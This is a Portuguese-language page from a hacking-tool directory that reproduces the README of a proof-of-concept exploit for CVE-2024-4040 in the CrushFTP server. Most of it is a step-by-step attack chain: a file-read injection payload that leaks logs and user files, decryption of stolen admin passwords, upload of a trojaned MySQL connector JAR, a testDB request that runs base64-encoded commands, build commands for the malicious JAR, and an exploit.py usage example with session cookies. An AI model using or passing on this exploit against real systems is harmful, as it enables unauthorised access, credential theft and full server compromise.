Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-4040 — CVE-2024-4040 PoC | Kitploit
Ferramentas/GitHubGitHub/entroychang/cve-2024-4040
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubentroychang/cve-2024-4040

CVE-2024-4040

CVE-2024-4040 PoC

Ver Repositório
31há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-4040

Prefácio

  • Recentemente, encontrei esta vulnerabilidade e achei bastante interessante. Li os artigos a seguir e escrevi um exploit.
    • https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
    • https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP-Post-Exploitation-Privilege-Escalation-Analysis-CVE-2024-4040/

Máquina Alvo

  • Usei um docker de outra pessoa. Para detalhes, consulte o GitHub do autor.
    • https://github.com/MarkusMcNugen/docker-CrushFTP
root@kitploit:~
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest

Processo de Ataque

Obtenção de Senha

  • Use exploit.py e decrypt.java para obter e descriptografar a senha. Resumidamente, a chave está hardcoded, então você pode descriptografá-la e ler arquivos arbitrários.
  • Note que, se o admin padrão, crushadmin, não existir, tente obter CrushFTP.log, que contém informações de conta.
    • <INCLUDE>CrushFTP.log</INCLUDE>

exploit.py

root@kitploit:~
usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL
  -H HEADERS, --headers HEADERS
                        Headers
  --account ACCOUNT     The target account
  --shell
  --jar-path JAR_PATH   Jar file path
  • A lógica primeiro verifica se o alvo é vulnerável usando quatro contas padrão e tenta recuperar o arquivo user.XML.
  • Após confirmar que é vulnerável, ele recupera a conta especificada pelo usuário; se não fornecida, usa a conta admin padrão crushadmin.
  • Após obter a senha, usa decrypt.java para descriptografá-la.
  • A funcionalidade --shell é para ver convenientemente o resultado após RCE. Após fazer upload do arquivo jar, especifique --jar-path e --headers para ver o resultado do comando executado:
    • Note que --headers deve incluir o Cookie de login, por exemplo: --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
    • --jar-path padrão é /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. Se estiver em local diferente, especifique o caminho. Caminhos relativos funcionam teoricamente, mas recomenda-se usar caminhos absolutos.
    • Para sair, digite exit.

Login para Ajustar Mapeamento e Permissões

  • Após login, acesse o admin.
  • Após encontrar User Manager, clique no usuário à esquerda, arraste a pasta que deseja mapear para User's Stuff e ajuste as permissões. Certifique-se de marcar upload.

Upload de Arquivo Jar Malicioso

  • Faça upload do arquivo jar malicioso. Preparei duas versões, uma para JDK 16 e outra para JDK 13, dependendo da versão Java do servidor.
  • Volte para files, clique em upload e faça upload do arquivo jar malicioso.

RCE

  • Resumidamente, o motivo do RCE é que existe uma função testDB onde você pode especificar o arquivo jar e o objeto driver, e combinando com upload, é possível obter RCE.
root@kitploit:~
command=testDB&db_driver_file=<path_to_evil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
    • O comando na imagem é id.
    • Passe o comando codificado em base64 no parâmetro db_user para executá-lo.
  • O conector MySQL que modifiquei é da versão 5.0.4.
  • Se as duas versões compiladas não funcionarem, eu forneço minha versão modificada, que pode ser recompilada com os comandos a seguir:
    • mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar
    • cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java
    • javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java
    • jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *
Baixar ferramenta
  • Exemplo de comando: python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"